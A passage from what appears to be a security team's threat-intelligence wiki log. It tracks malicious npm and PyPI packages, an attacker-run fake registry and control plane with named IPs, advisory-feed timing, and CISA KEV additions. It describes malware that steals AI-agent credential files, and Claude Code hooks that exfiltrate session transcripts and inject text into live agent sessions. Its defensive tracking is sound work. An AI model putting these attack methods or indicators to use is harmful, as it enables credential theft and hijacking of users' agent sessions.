15:04:24Z, minutes before the read) and all 47 probe-grammar names still resident = a LIVE intake sink, not a seeded dump, and its /dl/npm/ index shows the fake registry's entire catalog is the ONE package npm seized-and-restored (conduitops-logview-archive-1.0.1.tgz); opsctl FOURTH post-rotation re-attestation ALL MATCHED (NEVER executed). OFF-LANE: Wiz's "ARTEX in the Wild" (Oct 22) answers the ConnectWise attribution's own monitor, the same ARTEX-using actor, overlapping Storm-0940, works MULTIPLE unnamed IT/software vendors at the identity layer (Okta/Entra/Cognito), and the durable hunt is behavior not IOC: unique-UA-per-spray-burst, 1 s median cadence, 24-30 h sessions, source-map-fetch → internal-route-call sequencing, endpoint-switch-on-rate-limit; ARTEX = Chinese-authored GitHub July 2026, Baidu "Agent+" red-team challenge winner Sep 2026, attacker-adopted within weeks → Wiz ARTEX section. Full capture → 197th stream section OCT 24 (this wiki, 196th sweep, the roster that reads its visitors back): the shadow decoy plane's /v1/nodes board grew 6 → 132 nodes and turned out to be a MIRROR, the unassigned pool is stacked with OTHER PEOPLE'S enrollment probes in scanner vocabulary (xss-probe, cs-inj-sqli-sleep, cs-inj-ssti-jinja, pt-sanitize-a, cyberstrike-proof, authorized-test-marker, winp*/winm* timing grids, tight 10:35-12:02Z clusters) = the plane stores POSTed hostnames verbatim, its roster is a census of the probing community, and anything posted to a decoy plane is durable intel gifted to its operator (this wiki is GET-only); opsctl THIRD post-rotation re-attestation = rotate-then-stable survives three sweeps, tickets STATIC while nodes churn; and OFF-LANE the OVHcloud CLI release swap goes forensic: a contributor compromised since Oct 2025 via the color-picker-universal VS Code extension swapped binaries on five ovhcloud-cli releases in 94 minutes, rewrote checksums.txt LAST so the repo's own hashes passed, ~250 downloads, GlassWorm stego+Solana-memo loader POSTing an 18-path credential haul (incl AI-agent stores) to 45.32.148.174/upload, externally pinned hashes were the ONLY control that caught it → GlassWorm OVHcloud section. Full capture → 196th stream section OCT 24 (this wiki, 195th sweep, the day the oracle broke and the week got named): the osv.dev WEBSITE /malware/ route answered 404 for EVERYTHING, including five controls api.osv.dev served 200 the same minute, so a website-pinned watcher would have reported the entire ledger vanished while the API oracle showed it never moved (18249-18253 genuinely 404, high-water holds 18248); controls must share the measurement route. Same sweep, one Microsoft publishing day named the week's two supply-chain stories: the ConnectWise compromise = Storm-0940 (China-state aligned) running the open-source agentic-AI framework ARTEX, 151,000+ spray failures at 2,900/min, app-identity sign-in attempts against 2,250+ tenants, <3 h target-to-privileged-access, in-tenant persistence that SURVIVES the app takedown, Key Vault secrets read at scale → attribution section, and the LiteLLM 1.107.0 forensic went official: stolen dev GitHub creds altered the release workflow into the lookalike Berri-AI/litellm fork, a second account cleared the prod approval gate, endpoints watched the collector fire on a routine pip install, "removing the package or a release tag is not sufficient recovery" → MS forensic section. On-lane: the shadow plane's post-rotation digests HOLD = rotate-then-stable, and its FICTIONAL fleet now self-ages (edge-13 last_seen TODAY, unassigned: 102 pool); the fmtsubs/logview restored pair out-spends its seizures. Full capture → 195th stream section OCT 24 (this wiki, 194th sweep, the plane that rebuilt itself): the shadow control plane 139.196.94.195:8080 rotated ALL THREE opsctl 1.4.2 digests in one sweep (c644b784→93cb4266, 9d477c95→0bf80f95, 62fd553f→992db250, served bytes re-matched to the new ledger, NEVER executed), grew edge-pool.bundle.enc 1,571→6,294 B and its /v1 manifest 320→464 B with three new live endpoints (pools/registry/tasks), while the version label never moved = a hash-roll under a frozen version: consumers keying on version strings see nothing; digest-keyed watch or nothing, and the root page's new INTEGRATION CHECKPOINT comment now INSTRUCTS visitors to ./opsctl verify --bundle edge-pool.bundle.enc then ./opsctl enroll = the decoy persona crossed from furniture to execution-instructions. Same sweep: fmtsubs RESTORED (frozen-Oct-21 stamps) joining restored logview-archive = both names of the split-enforcement pair completed armed→seized→restored, zero durable whole-name seizures left on the lane; and ossf #1659's wiseke cohort resolves to @greenlake ×5 + @sxm-web/client-sdk-core (19 versions, one throwmail publisher, 0.0.0-stage+99.0.1 ladder fingerprints, every rung tarball-200, OSV {}) = the queue is now the earliest ledger on the lane, ~12 h ahead of OSV/GHSA consumers. Full capture → 194th stream section OCT 24 (this wiki, 193rd sweep, the clock that proved itself by staying quiet): OSV 18249-18252 404, the hourly-:45 GHSA-ingest tick minted ZERO for three ticks, so the 192nd's tick law passes its forward test and every "GHSA has no OSV" read stays provisional for ≤1 h; and the shape correction that keeps diff(advisory, OSV) trustworthy: ghsa-malware-origin OSVs carry the affected set in affected[].versions and ranges is None BY SHAPE, re-diff shows MAL-2026-18247/18248 are FAITHFUL mirrors of GHSA-32x9/GHSA-v5v8, the shard-drip three-family morning (k18k→@liauto→overarch) then fell silent ≈3 h with the ≈42 h inter-wave cadence the surviving projection, the dark workers.dev front changed shape (1042→plain 404) while the origin held a THIRD current opsctl-ledger read, and the ossf queue woke with #1659 (wiseke, six npm names / 19 versions, dependency-confusion). NEW TOOL PAGE from Check Point Research: Aokigahara, Windows infostealer whose aisessions handler enumerates the AI-agent credential set by path (~/.claude/credentials.json, ~/.codex/auth.json, VS Code-family state.vscdb) and uploads via an X25519 /gate protocol → Aokigahara page. Full capture → 193rd stream section OCT 24 (this wiki, 191st sweep, the drip and the undo): the @liauto platform-shard family took its SECOND advisory in ≈42 h, GHSA-32x9-4g9x-5cxj critical on win32-x64 = 0.1.2-b2, rung deleted ≈14 s before its own advisory published, while the identical rung stays installable on FOUR un-advised sibling shards = coverage drips one shard per wave; and the logview-archive whole-name seizure UNDOED after two sweeps (doc + both tarballs + CDN back 200, byte-identical, modified frozen) while fmtsubs stays 404 = whole-name enforcement is an oscillating class too; the "every armed-rung 200 was a countdown" law gets its correction: enforcement and its absence are both snapshots with decay clocks; plus the media-util-js-lib map-lie reached its observed terminus lying-latest → doc-404. Full capture → 191st stream section OCT 24 (this wiki, 190th sweep, the plane that ships its own inventory): the shadow control plane 139.196.94.195:8080 answered /v1/artifacts with an ENUMERATED opsctl 1.4.2 binary fleet (linux/amd64 c644b784…, linux/arm64 9d477c95…, windows/amd64 62fd553f…) and EVERY published sha256 matched the served bytes this sweep, a current integrity ledger = a maintained fleet, plus a new CDB2-magic /dl/edge-pool.bundle.enc and decoy changes/nodes boards depicting a whole fictional enterprise; and the takedown proved LANE-LOCAL: npm holds @conduitops/logview-archive whole-doc 404 while the same attacker host still serves its 1.0.1 tarball byte-identical to the 183rd capture, registry 404 on a shadow-registry-family name is a map edit, not an erase; artifact-death verification means probing the attacker's own origin. Full capture → 190th stream section OCT 23 (this wiki, 189th sweep, the platform-shard class): npm malware arrives as BINARIES now, @k18k/entrypoint-sdk (five OS/arch shards of a genuine Tailscale-tsnet app-connector + a dashboard-modded frpc, entire family alive ≈1 h 20 m before its advisory) and orqiva (six shards of a 60 MB FrankenPHP/PHP8 Windows runtime) took 4 critical GHSAs each naming ONE rung, while the un-advised sibling shards and post-advisory successors stay fully installable = diff(advisory, FAMILY) is the consumer check; the registry -/v1/search?text=maintainer:<name> route is the cheap footprint tool that mapped mwdex's ten-name inventory in one call. Same sweep the scope-hole law closed: logview-archive/fmtsubs whole-doc 404 ≈47 h after their advisories froze = every armed-rung 200 was a countdown. And the never-join law went terminal: alias reconciliation is one-shot inside the GHSA-import pass, OSV-first records are never revisited, join GHSA-side yourself. Full capture → 189th stream section. OCT 25 (this wiki, 206th sweep, the ledger woke with eighteen): OSV +18 CONTIGUOUS MAL-2026-18253-18270 = the campaign era's LARGEST npm cohort, one importer pass 09:35:17-19Z: twelve hijacked legitimate names (ionic-youtube-search 38 legit versions 2020→2025, redis-dumper, p12-pem, cert-infos, ocsp-hashes, the Cordova appit-* pair…) + six confusion-baits, ALL critical with GHSA alias AT MINT and range-only >= 0 WHOLE-NAME advisories, every packument re-created + holder-seized +36 s-+249 s BEFORE 17 of 18 GHSA mints existed = the publish→seizure automaton closes its loop in ≈2.5 min ahead of the advisory lane (cert-infos the after-mint exception at +2 m 09 s); whole-name seizure DELETES HISTORY, every legit tarball 404, five-year install bases gone with the payload, while jsDelivr still serves LEGIT rungs (redis-dumper@2.0.5, cert-infos@1.0.6 versioned 200) = clean-history CDN survivors, a new survivor subtype; insta-api-wrapper CAUGHT MID-CAMPAIGN (rungs 1.1.0/1.1.4/1.2.1 published 07:15-09:03Z that morning, seized 09:33:27Z); the 0.0.0-stage stub tarball survives ALL eighteen seizures = enforcement's own leftover grammar; MAL-2026-18252 aliases STILL None ≈3 h post-twin = the OSV-first never-join law survives its arsya merge challenge; @eforms/forms-api LIVE-ADVISED second sweep untouched = scoped records draw no automaton, enforcement asymmetry on one clock face; SHADOW PLANE SHIPS A PROJECT: root + /dl/npm/ break seven-read md5 freezes to advertise NEW /dl/src/retention-pipeline-1.4.0.tar.gz (470e36e4…, static read ONLY NEVER executed) whose .npmrc hardcodes the attacker origin global+scoped with audit=false and pins @conduitops/logview-archive 1.0.1 whose only living copy is the diverged a6a635f0… re-point build = the lure ladder completes at checkout-time re-point; QUEUE GHOST #1660 @drone-js-ext pair → 185.158.107.175:8787/_ah/dc = the pinned bare-IP hunt key spans FOUR publisher accounts over three weeks; c2-worker first .exe probe 200 9,632 B = cheat-lure downloads REAL; KEV HELD 2026.10.23/1,756 18th; priority watch QUIET; self-captures ×2 (resume point = clock position not prediction, walking past the stale 18253 found the eighteen; pip label-sort route unlabeled heads fifth time) → full capture 206th stream section. OCT 23 (this wiki, 188th sweep, the backdoor that stayed): sitecard (PyPI, kam193 2026-10-sitecard) is the campaign-era lane's FIRST MAL-class mint still FULLY SERVED after its critical GHSA-9wjg-8fcv-pxj2, hash-attested sdist = clean Python whose offense is the architecture: no-auth SSH as the documented default, sessions self-reporting to hardcoded ntfy.sh/02f9fe8a5cd9627395798443a235896b, anonymous upterm/devtunnel relay grammar, 1,283 dl/wk while both ledgers scream = quarantine-before-read is the lane's default, not its law → sitecard page. Same sweep the GHSA lane proved its clock: 22 pip-malware advisories in ONE 18:31:16Z importer tick (voice-synth wave three 21-for-21, all critical) while every mirrored OSV kept aliases None, mirror and join are separate machines; and iterquarry restored one sweep after its silent purge: absence itself carries an undo button. Full capture → 188th stream section. OCT 23 (this wiki, 187th sweep, the campaign that renames itself): kam193 2026-10-voice-synthesis-profiles fired a THIRD wave, +21 contiguous OSV MAL-2026-18221-18241, campaign total 64 names in ≈2.5 days, and the naming grammar mutated from audio tails to job-queue portmanteaus, so per-wave name patterns catch nothing; the campaign: tag inside the OSV origins block is the only durable hunt key. All 21 were PyPI-quarantined before first read while ZERO carried a GHSA = the OSV was the sole ledger for the whole cohort. And the 186th's subset-mirror healed: MAL-2026-18220 gained the missing 0.1.2 on a later import pass, diff(advisory, OSV) is a recurring check keyed on modified, not a one-time verdict. Full capture → 187th stream section. OCT 23 (this wiki, 186th sweep, the mirror that lies by omission): the skillward GHSA (GHSA-9wgc-5pgr-25p3, critical) minted the SAME SECOND as its OSV mirror MAL-2026-18220, and the OSV is still a strict SUBSET: the GHSA warns = 0.1.1 AND = 0.1.2, the OSV names only 0.1.1, even after an importer rewrite ≈34 min post-mint, first observed OSV-subset-of-GHSA on the lane, so diff(advisory, OSV) version sets is now a standing consumer check. And the abstract-claude forensics closed the 185th's priority queue: hash-attested sdist reads as ordinary Python whose Claude Code hooks exfiltrate the ENTIRE session transcript to toolserver.hugpy.ai by default, poll a server channel that INJECTS text into the live session, and report host/auth telemetry every 30 s, HIGHLY_SUSPICIOUS on the kam193 tracker since Oct-9, 89 releases, near-daily publishing, and ZERO OSV/GHSA at check = the AI-session-transcript collector class lives openly between the ledgers; hunt it endpoint-side. Full capture → 186th stream section. OCT 23 (this wiki, 185th sweep, the inventory that moves first): the kam193 public tracker listed onsokets ≈3 h BEFORE MAL-2026-18219 minted, the bad-packages.kam193.eu 2026-10-* inventory is a LIVE-TARGET watchlist, not a backlog: spot-sweep found 17/18 siblings quarantine-deleted and ONE LIVE (abstract-claude, Claude-Code branding, 89 releases, publishing TODAY, zero advisories, priority forensics). onsokets quarantined ≈48 min post-mint = fastest on the lane, quarantine-before-GHSA four-for-four, second straight OSV-without-GHSA-at-check; and the OSV replica-visibility lag was caught LIVE mid-join (our own 404 minutes after the record published). bbmarker was RESTORED at the registry with Oct-18 stamps frozen = the cohort enforcement law completes: every registry/tarball-layer seizure this wiki has observed is undone-or-survives; only removal-from-registry-map proved durable, and that leaves the CDN-ONLY class. Full capture → 185th stream section. OCT 23 (this wiki, 184th sweep, the forecast that died at +70 min): the qowa GHSA (GHSA-mrhx-5xfm-5r45) minted 09:31:24Z, ≈70 MIN after the OSV, published_at = the arrival second, severity critical, killing the ≈17:00Z draft-clock bracket: GHSA arrival runs on THREE clocks (at-birth / fast-join / ≈9 h draft) and quarantine does not select the slow one; forecast by cohort class or forecast nothing. The reconciliation leg still never fires: MAL-2026-18218 aliases None ≈2 h 15 m after the GHSA existed = third clean PyPI never-join instance, alias-diff reconcilers get NOTHING forever. The public bad-packages.kam193.eu tracker lists ≈29 2026-10-* campaign names = the durable public inventory to sweep; iterquarry/libseal still installable day three. podzal mailbox delivered #8 after its longest-ever ≈18 h silence = duty-cycled timer; c2-worker 200→404 = sixth state, re-arm verdicts have decay clocks. media-util map-lie ≈10 h unhealed, and the @sudobility malicious pins are now CDN-ONLY artifacts (registry map ends clean 0.0.144) = warm-cache survivors no registry-side check can see. Full capture → 184th stream section. OCT 23 (this wiki, 183rd sweep, the lane that moves alone): OSV +1 MAL-2026-18218, PyPI qowa (kam193 campaign 2026-10-qowa: C2 server AND agent with PRE-FILED CREDENTIALS, rat/spyware-like/target:android/uses-telegram-bot/files-exfiltration) is the SECOND kam193 OSV-without-GHSA at check while the GHSA malware head sits FROZEN ≈7.4 h since the 02:05:19Z cohort = a measured OSV-only blindness window for GHSA-keyed tooling; qowa quarantined ≈1 h post-mint = quarantine-before-GHSA three-for-three, GHSA bracket projects ≈17:00Z. The 182nd's fifth enforcement shape got its mechanism: @grabcad/preferences-client's empty doc carries a surviving unpublished time-block naming ALL SEVEN removed rungs ≈1.3 min before the GHSA mint, the npm time document survives removal and is enforcement's own signed removal list. @sudobility CDN fifth transition (200 again; five flips ≈18 h), reutil resurrection CONFIRMED at second read, and c2-worker.crawlnet-claim.workers.dev 404→200 = RE-ARM (fifth state; removal was disguise/migration). Shadow binary 23883c8b… stable ≈6 h post-rotation + carrier-vs-platform path split (binary ONLY in the platform-rung tarball). Full capture → 183rd stream section. OCT 23 (this wiki, 182nd sweep, two clock-classes, one resurrection): OSV QUIET (high-water holds 18217), and the quiet hour closed the ledger's open questions with corrections: the twelve-name cohort's alias join completed 12/12 at ≈40 MIN after GHSA mint (02:05Z mint → 02:45Z join), the ≈9 h figure is the GHSA DRAFT-CLOCK class, NOT the mint→OSV-alias-join class, and alert thresholds must be per-class, and the join was WRITTEN (modified 02:45Z) ≈45 min BEFORE this wiki's read could see it = OSV modified marks the importer touch, not consumer visibility. @worrisome/reutil@1.0.3, declared END by the 181st at 4×404, read 200 × 3 two hours later = survivor END verdicts join the snapshot-with-decay-clock class, retire nothing on one sweep's streak. And the shadow registry's declared dist.shasum ff8cadec… (a permanent mismatch-vs-served 49b0f448… for the whole pre-rotation era) SELF-HEALED to = served in the post-rotation window = attacker-registry metadata is maintained and converges after rotation; the mismatch is a transient, rotation-adjacent tell, sweep-to-sweep hashing remains the only rotation clock. Full capture → 182nd stream section. OCT 23 (this wiki, 181st sweep, the scope-fleet batch): OSV MAL-2026-18206-18217, twelve npm records in one importer pass, THREE impersonated scopes (@ecg-internal x6, @grabcad x4, @blueskydataplatform/shared-ui + @cecm-web-sdk/core) ALL carrying the same version ladder (0.0.1/0.1.0/1.0.0/1.0.1/1.1.0/2.0.0/2.0.1/3.0.0 + 99.0.1 + 0.0.0-stage residue) and the same publisher account kibt (throwmail doraf85631@aminavin.com) that minted @kibt/www-nuxt-i18n on Oct-3 (MAL-2026-17498, whose GHSA forward-joined 19 days later INSIDE this batch) = scope names are consumables, the ladder + throwmail class is the durable fleet fingerprint; enforcement ≈1-2 min behind the OSV in three shapes (seven whole-doc 404s, four holder-costumes, one alive-but-lying packument whose latest points 99.0.1 over 404 tarballs under npm-support); @tekmidian/pai RETREATED (all advised rungs pulled, latest rolled back to 1.0.7) while GHSA-xvgg forward-joined = 1.0.10 19 s after the registry removal; and fmtsubs 1.0.1/1.0.2 tarballs were RESTORED with frozen time stamps = a tarball-layer 404 is a snapshot with an undo button. Full capture → 181st stream section. OCT 23 (this wiki, 180th sweep, mirror laws measured against their own forward tests): the ledger's TWO advisory-lane laws FELL IN ONE IMPORTER PASS, GHSA-9793/GHSA-qhcw arrived for the QUARANTINED 1h1/aanthropic kam193 pair and GHSA-r42r became the FIRST GHSA for a kam193-sourced PyPI name, both joining the head window at updated_at 00:32:3xZ while published_at reads the 15:31Z draft clock (≈9 h between = watches keyed on published_at miss joins entirely; poll for RECORD ARRIVAL), quarantine DELAYS GHSAs, does not suppress; "GHSA-only tooling is blind to kam193 PyPI" is corrected to ≈9 h LANE-LAG; and the OSV side still reads aliases: None ≈1 h+ later = the two ledgers reconcile at import time, alert on BOTH. Same window: MAL-2026-18205 @tekmidian/pai = a LIVE continuous publisher seized rung-wise with latest 1.0.10 alive ≈34 min before its own advisory = pin-scoped advisories on continuous publishers are BORN STALE; fmtsubs/opencode seized rungs STILL LISTED in packument versions maps over 404 tarballs = the map-lie class, consumer check upgrades to diff(advisory, TARBALL-BACKED versions); imgdecode registry pull then whole-name >= 0 GHSA range 17 s later. Full capture → 180th stream section.

High-value RSS / update feeds

• tl;dr sec (RSS at https://tldrsec.com/feed.xml; added September 3, 2026 at Dean's request, recommended source. Clint Gibler's weekly curated digest of the best tools, talks, and research for working security professionals: one featured deep-dive plus a fast digest, with recent issues covering the Hugging Face technical report and incident, AWSHound, OWASP Agentic Skills Top 10, Figma's agentic-detection research, agent identity, Uber's agent-(E)DR, and GitHub supply-chain security improvements. The site HTML is Cloudflare-JS-gated, but the RSS endpoint serves cleanly to curl (301 on direct /feed.xml, follow redirects). Treat each issue as a discovery funnel: the digest links out to primary research blogs, so mine each issue for new primary sources worth their own source-index entry, candidate adjacent blogs seen in recent issues include Hugging Face security research, Figma's engineering/security research, and Uber's security engineering posts. Monitor for durable defender and operator value; promote concrete research to wiki pages with primary-source links rather than relying on the digest alone. OCT 3 (fifty-fourth sweep): issue #348 (Oct 1) featured Google's PageBreak project, blog.google/security "Agentic hacks, real proofs: inside Google's PageBreak Project" = an AI-powered web-app scanner with DETERMINISTIC VALIDATION, plus bughunters.google.com/blog/pagebreak-real-world-findings and a Google blue-print-for-a-high-assurance-web-framework piece, the direct large-org embodiment of the model-finds/deterministic-code-proves grammar this wiki tracks in Keygraph's Shannon line; also in #348: Perplexity's Numbat OSS agent-behavior detection (perplexityai/numbat, rules doc; sibling bumblebee repo) and NCSC "One does not simply defend agentically"; #347 (Sep 24) carried "AI Agents Hacking Companies for $25" (actor using open-source attack harnesses). Monitor: PageBreak findings cadence and scope creep beyond web apps, Numbat adoption, deterministic-validation becoming named industry vocabulary.)
• OFAC / U.S. Treasury press releases (August 24, 2026 priority follow-up; Operation Economic Outcast "Economic D-Day" campaign, press release sb0613 designated a MOIS-directed critical-infrastructure cyber group plus nearly 60 entities/individuals/vessels and issued five E.O. 13902 sectoral determinations; monitor follow-on designations, the five named Mabna Institute individuals, the $10M Rewards for Justice offer, and any named-victim or tooling detail the release withholds. See Operation Economic Outcast page.)
• Metabase security advisories, GitHub advisories, and Wiz reverse engineering (August 11 update: GHSA-vwf4-m7j8-wcjf assigned CVE-2026-72898 and CISA added it to the KEV catalog on August 11 with an August 14 BOD 26-04 deadline. Monitor further first-party customer notices, connected-database impact, additional affected or fixed branches, and exploitation scope.)
• CISA Known Exploited Vulnerabilities catalog (NOV 6 (this wiki, 237th sweep, JSON-verified ~14:2x UTC, catalog 2026.11.04 / 1,768): EIGHT rows added Oct-28→Nov-4 after nine quiet days, Ivanti Connect Secure PAIR CVE-2026-111357 missing-auth-for-critical-function (due 2026-11-02) + CVE-2026-118527 predictable identifiers (due 2026-11-13); WordPress Core TOCTOU race CVE-2026-119977 due 2026-11-06; Cisco ASA/FTD CVE-2026-76418; GitLab CE/EE CVE-2026-97229; VMware ESX CVE-2026-41709 (insufficient logging); Linux kernel CVE-2026-46300 (uninitialized variable); Apple CVE-2024-27834; first KEV movement since the 2026.10.27/1,760 read. Prior, OCT 20 (this wiki, 157th sweep, JSON-verified ~21:3x UTC, catalog MOVED 2026.10.20 / 1,754 after FOUR quiet days: SIX rows, PLEX MEDIA SERVER x4 in one batch, FIRST on-wiki Plex rows: CVE-2026-96656 admin file-write-to-execution, CVE-2026-96655 + CVE-2026-96652 SSRF pair (one via ANY X-Plex-Token), CVE-2026-96654 encoded-URI-scheme plugin-function call, all citing vendor forum notice for v1.43.2 and earlier, due dates SPLIT 2026-10-23 vs 2026-11-03 = risk-tiered clocks; EG Secure Solutions SiteGuard Server Edition CVE-2026-106931 OS command injection (first on-wiki KEV row for a Japanese security vendor, alert-202610-1); Siemens Software Center CVE-2026-110936 uncontrolled search path (SSA-580366); all ransomware Unknown; DURABLE: KEV flagging authenticated/admin-precondition exploitation at media-server scale. Prior, OCT 15 (this wiki, 135th sweep, JSON-verified ~01:4x UTC, catalog MOVED 2026.10.14 / 1,745): FOUR rows added Oct 14, ALL due 2026-10-17 (compressed 3-day clock), ALL BOD 26-04 + forensics-triage, ALL ransomware-Unknown, no actor named: CVE-2026-0322 Palo Alto PAN-OS code injection (authenticated attacker w/ network access -> arbitrary code; PAN-OS KEV rows TWO deep this week, lands the same day as the Unit 42 PEERSTITCH report = the edge-fleet bad-week thesis), CVE-2026-76519 Cisco Secure Email Gateway relative path traversal (unauth remote -> arbitrary file write, cisco-sa-esa-afw), + Ahsay AhsayCBS PAIR CVE-2026-105133 improper authentication + CVE-2026-105134 command injection (backup-server pair, vendor patch announcement patch-cve-105133-105134-update; FIRST on-wiki Ahsay rows, backup-platform targeting continues after the long Veeam lag watch; monitor ransomware-lane linkage). Prior, OCT 13 (this wiki, 121st + 123rd sweeps, JSON-verified): catalog moved TWICE in one day, 2026.10.13 / 1,740 = CVE-2026-104935 Ivanti Connect Secure auth-bypass-by-spoofing CWE-290 (unauth → arbitrary commands, due Oct 16, CIRCL reports confirmed exploitation since Oct 9 = KEV followed a ~4-day-old confirmation), then 2026.10.13 / 1,741 = CVE-2026-96951 Microsoft Windows (Shell) command injection CWE-77 (unauth security-feature bypass over network, due Oct 16, Forensic Triage YES, BOD 26-04 language, ransomware Unknown, MSRC update-guide referenced, no actor named). Both page decisions queued next sweep. Prior, OCT 8 EVENING CHECK (this wiki, one-hundred-and-eighteenth sweep, JSON-verified ~21:2x UTC): catalog UNCHANGED 2026.10.08 / 1,739, the historic-five batch stands as the day's only move. Prior, OCT 8 UPDATE (this wiki, one-hundred-and-seventeenth sweep, JSON-verified ~19:3x UTC, catalog MOVED 2026.10.08 / 1,739): FIVE HISTORIC ROWS ADDED 2026-10-08, ALL DUE 2026-10-11, ALL carrying the "could affect an open-source component, third-party library, protocol, or proprietary implementation" banner + BOD 26-04 risk-based language: CVE-2015-5477 ISC BIND TKEY DoS (CWE-19, no triage), CVE-2016-3081 Apache Struts S2-032 Dynamic Method Invocation cmd-injection (CWE-77, triage YES), CVE-2023-22894 Strapi cleartext-storage chainable with CVE-2023-22621 to RCE, EoL-noted (CWE-312, no triage), CVE-2021-3199 ONLYOFFICE Docs JWT /.. path traversal RCE (CWE-22, triage YES), CVE-2015-3306 ProFTPD site cpfr/cpto arbitrary file read/write (CWE-284, triage YES) = BOD 26-04 historic-inventory mode: 5-11-year-old CVEs made federally actionable, NO 2026 CVEs, KEV-age is no longer a recency proxy for detection engineering; FortiMail CVE-2026-104286 now 4 days PAST due; Veeam CVE-2026-32996 STILL absent = lag day ~22. Prior, OCT 4 UPDATE (this wiki, seventy-fourth sweep, JSON-verified ~19:30 UTC, catalog MOVED 2026.10.04 / 1,734): ONE new row CVE-2026-88779 Citrix NetScaler ADC/Gateway CWE-119 memory-bounds "could allow for a denial of service", due 2026-10-07, Forensic Triage, no actor = THIRD NetScaler KEV row in eight days, zero GHSA/OSV, NVD scopes ADC <14.1-73.41/<13.1-64.28/<14.1-73.41 FIPS/<13.1-37.282 → NetScaler page Oct-4 follow-up; FortiMail CVE-2026-104286 due date PASSED Oct 4 with FG-IR-26-175 fixes STILL 'upcoming' 8.0.2/7.6.7/7.4.9 (page fetched 200 direct fortiguard.com browser-UA); Veeam CVE-2026-32996 STILL absent = lag day 17/18. Prior, OCT 2 UPDATE (this wiki, forty-ninth sweep, JSON-verified ~17:30 UTC, catalog MOVED 2026.10.02 / 1,733): TWO ZAMMAD ROWS, CVE-2026-102489 session fixation → RCE as zammad (CWE-384, affected 6.3.0-6.5.4, present-not-exploitable 7.0.0-7.1.3) + CVE-2026-102490 LPE zammad→root (CWE-269, "all versions incl. latest alpha", 1.5.0-7.1.0-alpha), DUE Oct 5, rows self-reference the chain, the zero-days that breached DIVD on Sep 21 via an assessed agentic-AI-powered attack = FIRST KEV entries from autonomous-agent exploitation; vendor dispute: Zammad hardened 102489 in 7.2.0 but says DIVD never shared 102490 details → new page + forty-ninth-sweep section; Veeam CVE-2026-32996 STILL absent = lag day 14/15; FortiMail still due Oct 4. MECHANICS: cisa.gov Access-Denies plain curl on the feeds JSON, send a browser User-Agent on sites/default/files/feeds/known_exploited_vulnerabilities.json; the cisagov/KEV-dataset GitHub mirror 404s the data path. Prior state, OCT 1 LATE UPDATE (this wiki, fortieth sweep, JSON-verified ~23:26 UTC, catalog UNCHANGED 2026.10.01 / 1,731): FG-IR-26-175 BACKFILL, FortiMail fix releases are ALL UPCOMING (8.0.2 / 7.6.7 / 7.4.9, 7.2.x → branch 7.4+): NO PATCH EXISTS under the Oct 4 KEV due-date; interim workaround config system encryption ibe → set status disable; FortiGuard's 500s at earlier checks were transient → fortieth-sweep section. Prior state, OCT 1 EVENING (this wiki, JSON-verified ~21:35 UTC): catalog 2026.10.01 / 1,731, ONE new row CVE-2026-104286 Fortinet FortiMail unauth path traversal + NULL-byte/NULL-character neutralization failure → arbitrary file write via crafted HTTP/HTTPS (CWE-22/CWE-158), added Oct 1, DUE Oct 4 (compressed 3-day window), Forensics Triage, ransomware Unknown, no actor; NVD scopes FortiMail 8.0.0-8.0.1 / 7.6.0-7.6.6 / 7.4.0-7.4.8 / 7.2.0-7.2.9; FG-IR-26-175 returned 500 at check, backfill fixed versions; Veeam CVE-2026-32996 STILL absent = lag day 11 → thirty-ninth-sweep section. Prior state, SEPTEMBER 30 UPDATE (this wiki, JSON-verified ~04:15 UTC Oct 1): catalog 2026.09.30 / 1,730 entries, NINE rows Sep 24-30: CVE-2026-5430 WSO2, CVE-2026-71362 Adobe Commerce/Magento, CVE-2026-67279 MikroTik RouterOS, CVE-2026-65660 SharePoint (on-wiki triage-divergence CVE, KEV resolves toward exploitation), CVE-2026-87902 WordPress Core RFI, CVE-2026-88771/88772 Citrix NetScaler ZERO-DAY PAIR (added Sep 27, DUE Sep 30, shortest window; ITW per Citrix; → NetScaler zero-day page), CVE-2026-86950 Apple CoreGraphics OOB write, CVE-2026-76504 Cisco Catalyst SD-WAN Manager; Sep-25-due quartet shipped on schedule; Veeam CVE-2026-32996 + kernel trio STILL unlisted (active-exploitation claim now 8 days old, lag queue specific as ever). Prior state, SEPTEMBER 22 EVENING UPDATE (this wiki, JSON-verified ~20:41 UTC): catalog MOVED AGAIN same calendar day, 2026.09.22 / 1,721 entries, FOUR new rows ALL network security products with exploitation evidence, ALL due 2026-09-25: CVE-2026-94127 F5 BIG-IP APM unauth heap overflow in TMM when access policy + OAuth profile configured on a vserver (9.8, ITW confirmed by F5, ENG hotfixes + emergency iRule, appliance mode exposed, hunt repeated OAuth auth failures), CVE-2026-93616 Check Point Security Management pre-auth path traversal ZERO-DAY (arbitrary script + Java class load; pinpointed attacks Jul 23, fix shipped with the advisory, LivePatch Take 28/29 explicitly does NOT fix), CVE-2026-85102 Check Point Gateway/Spark VPN cert-validation RCE (patched Sep 9, exploited anyway from Sep 12 = one-day; observed attacker cert subjects CN=vpn/OU=users,O=global), CVE-2026-93952 Arista VCO (drains our lag queue to Veeam + kernel trio) → Sep 22 KEV batch page; monitor actor attribution (none on any row), Veeam row, Zyxel BOD Sep 24. Prior state, SEPTEMBER 21 EVENING UPDATE (this wiki, JSON-verified ~21:00 UTC): the catalog MOVED for the first time since Sep 18, 2026.09.21 / 1,717 entries, single new row CVE-2026-7273 Zyxel GS1900 series switches stack-based buffer overflow in the CGI (CWE-121, LAN-based unauthenticated → OS command execution via crafted HTTP request, due 2026-09-24, Forensics Triage Yes, ransomware Unknown) listed FOUR MONTHS after Zyxel's own Jun 16, 2026 advisory = KEV arrival tracks the exploitation clock, not the patch clock; the three kernel rows remain attribution-less and the public-exploit quartet (DirtyAH6/TUNderflow/PPPoEject/DiagSpill) remains unlisted, CISA clearly kept cataloging past the BOD deadline, so the kernel-trio silence is specific, not institutional, recorded on the Sep 18 KEV page; monitor a Sep 22 batch for quartet absorption. Prior state, September 18, 2026 (updated same day): THREE CVEs added (catalog 2026.09.18, 1,716 entries, a third row landed later in the day), ALL Linux kernel, ALL BOD 26-04 due 2026-09-21 (3-day compressed deadline), ALL Forensics Triage, ALL CISA SSVC "exploitation: active", ransomware unknown, no actor named, see Sep 18 KEV batch page: (a) CVE-2025-39682 net/tls kTLS zero-length record on the rx_list, kernel-CNA CVSS 9.8 AV:N remote unauth (NVD primary dissents at 7.1 AV:L), CWE-754; the only one of the three SSVC automatable: yes; three back-to-back records [DATA][zero-length non-DATA][DATA] make the corruption deterministic; any kTLS consumer (OpenSSL-with-kTLS, NFS-over-TLS, SMB-over-TLS) is remotely reachable; published 2025-09-05, ~12 months 